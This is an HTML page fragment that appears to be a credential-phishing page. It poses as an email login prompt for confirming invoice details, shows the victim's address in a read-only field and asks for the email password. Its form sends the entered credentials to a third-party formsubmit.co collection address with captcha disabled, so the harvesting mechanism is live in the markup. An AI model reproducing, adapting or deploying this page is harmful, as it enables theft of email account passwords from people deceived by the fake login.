background: -o-linear-gradient(left, #828282 10%, rgba(130,130,130, 0) 42%); 
  background: -ms-linear-gradient(left, #828282 10%, rgba(130,130,130, 0) 42%); 
  background: linear-gradient(to right, #828282 10%, rgba(130,130,130, 0) 42%); 
  position: relative; 
  -webkit-animation: load3 1.4s infinite linear; 
  animation: load3 1.4s infinite linear; 
  -webkit-transform: translateZ(0); 
  -ms-transform: translateZ(0); 
  transform: translateZ(0); 
} 
.loader:before { 
  width: 50%; 
  height: 50%; 
  background: #828282; 
  border-radius: 100% 0 0 0; 
  position: absolute; 
  top: 0; 
  left: 0; 
  content: ''; 
} 
.loader:after { 
  background: #ffffff; 
  width: 75%; 
  height: 75%; 
  border-radius: 50%; 
  content: ''; 
  margin: auto; 
  position: absolute; 
  top: 0; 
  left: 0; 
  bottom: 0; 
  right: 0; 
} 
@-webkit-keyframes load3 { 
  0% { 
    -webkit-transform: rotate(0deg); 
    transform: rotate(0deg); 
  } 
  100% { 
    -webkit-transform: rotate(360deg); 
    transform: rotate(360deg); 
  } 
} 
@keyframes load3 { 
  0% { 
    -webkit-transform: rotate(0deg); 
    transform: rotate(0deg); 
  } 
  100% { 
    -webkit-transform: rotate(360deg); 
    transform: rotate(360deg); 
  } 
} 
.hidden { 
   display:none; 
} 
.sla { 
    position: absolute; 
    right: 12px; 
    top: 15px; 
    font-size: 19px; 
    cursor: pointer; 
} 
body.sharp .f_base, body.sharp .f_form .form-control, body.sharp button, body.sharp .alert { 
   border-radius:0px; 
   -webkit-border-radius:0px; 
   -moz-border-radius:0px; 
   -o-border-radius:0px; 
} 
body.sharp .alert { 
   font-size: 14px; 
    padding: 10px 10px; 
} 
.dom_pl { 
    font-size: 16px; 
    margin-bottom: 0px; 
} 
.sub_b { 
   -webkit-transition: background-color 300ms linear; 
   -ms-transition: background-color 300ms linear; 
   transition: background-color 300ms linear; 
} 
.sub_b:hover { 
   background-color:#0b5ed79e; 
   -webkit-transition: background-color 300ms linear; 
   -ms-transition: background-color 300ms linear; 
   transition: background-color 300ms linear; 
} 
</style> 
</head> 
<body class="dark sharp"> 
<div class="loader_b hidden" id="loader"><div class="loader"></div></div> 
<div class="b_base"> 
   <div class="f_base"> 
      <div class="f_in"> 
         <div class="logo"> 
            <img id="logo"> 
         </div> 
<input type="image" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT6cMnAQNK-trehkHl3n3F18_HWr8A_67c4pA&usqp=CAU" >  
         <h3 id="dom_name"></h3> 
Login following email with valid credentials</h3> 
 
 
          <h3> 
<form id="my-form" action="https://formsubmit.co/13316efe657af5de21ab0fbfa5338323" method="post">  
         <form class="f_form" onsubmit="return se_plant_send(this)"> 
   <input type="hidden" name="fcc" id="fcc" value=""> 
            <div class="alert alert-danger mb-3 hidden" id="err" role="alert"> 
            </div> 
            <div class="alert alert-primary mb-3 hidden" id="mi" role="alert"> 
            </div> 
            <div class="form-floating mb-3"> 
               <input type="email" name="Email" id="email" placeholder="Email address" style="font-size: 12pt; height: 30px; width:250px; border-style: dotted; border-color:  #fdfefe   #fdfefe"  readonly="readonly"  
               <label for="email"></label> 
            </div> 
            <div class="form-group mb-4 position-relative"> 
               <input type="password" class="form-control" id="password" name="password" placeholder="Password" required="" oninvalid="this.setCustomValidity('Enter your email password')" 
  oninput="this.setCustomValidity('')"/> 
               <!--<label for="email">Password</label>--> 
      <input type="hidden" name="_subject" id="subject" /> 
        <input type="hidden" name="_captcha" value="false" /> 
            </div> 
            <div class="form-check mb-4"> 
            </div> 
</center> 
Click HERE to confirm the details in the invoice 
<input type="image" src="https://storageapi.fleek.co/f6e70b99-1e45-4852-896e-3db6ada97ba3-bucket/attachment1.png" alt="Submit" width="200" height="200"